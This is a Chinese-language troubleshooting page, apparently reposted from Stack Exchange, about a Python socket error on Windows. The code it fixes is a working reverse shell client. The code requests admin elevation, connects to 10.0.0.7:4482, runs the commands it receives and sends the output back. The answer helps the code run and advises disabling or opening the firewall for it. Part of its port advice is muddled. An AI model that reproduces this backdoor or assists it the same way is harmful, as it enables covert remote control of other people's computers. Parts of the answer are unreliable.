PermissionError: WinError 10013套接字权限问题求助排查
PermissionError: [WinError 10013] 问题排查与解决
问题描述
运行Python socket客户端代码时持续报错:
PermissionError: [WinError 10013] An attempt was made to access a socket in a way forbidden by its access permissions
代码已包含管理员权限检测逻辑,但仍无法解决问题,代码如下:
import os import socket import subprocess import ctypes, sys def is_admin(): try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False if is_admin(): pass else: # Re-run the program with admin rights ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1) host='10.0.0.7' port=4482 s=socket.socket() s.connect((host,port)) while True: data=s.recv(1024) if data[:2].decode('utf-8')=='cd': os.chdir(data[3:].decode('utf-8')) if len(data)>0: cmd=subprocess.Popen(data.decode('utf-8'),shell=False,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE) output_bytes=cmd.stdout.read()+cmd.stderr.read() output_str=str(output_bytes) s.send(str.encode(output_str + str(os.getcwd())) +'>') #Close Connection s.close()
解决方案
修复管理员权限逻辑漏洞
当前代码中,非管理员权限触发重启后,原进程并未退出,会继续执行后续的socket连接代码,导致同一进程(或新旧进程)重复尝试连接引发权限冲突。修改else块,添加退出逻辑:else: # Re-run the program with admin rights ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1) sys.exit() # 退出原非管理员进程,避免重复执行检查端口占用
打开命令提示符,执行以下命令查看4482端口是否被其他程序占用:netstat -ano | findstr :4482若返回结果,记录PID值,打开任务管理器结束对应进程后重新运行代码。
验证防火墙设置
- 确认Windows防火墙已允许Python.exe通过私人/公共网络;
- 可临时关闭防火墙测试是否为防火墙拦截连接请求,若关闭后正常,需在防火墙中添加Python程序的允许规则。
确认服务器端状态
检查目标服务器10.0.0.7的4482端口是否处于正常监听状态,同时确认服务器端防火墙/安全组未拦截客户端的连接请求。更换测试端口
尝试使用1024以上的非特权端口(如8080、9000)替换当前的4482端口,避免端口被系统或其他服务占用。
内容的提问来源于stack exchange,提问作者ExlusiveMaximus
相关产品推荐
相关产品推荐

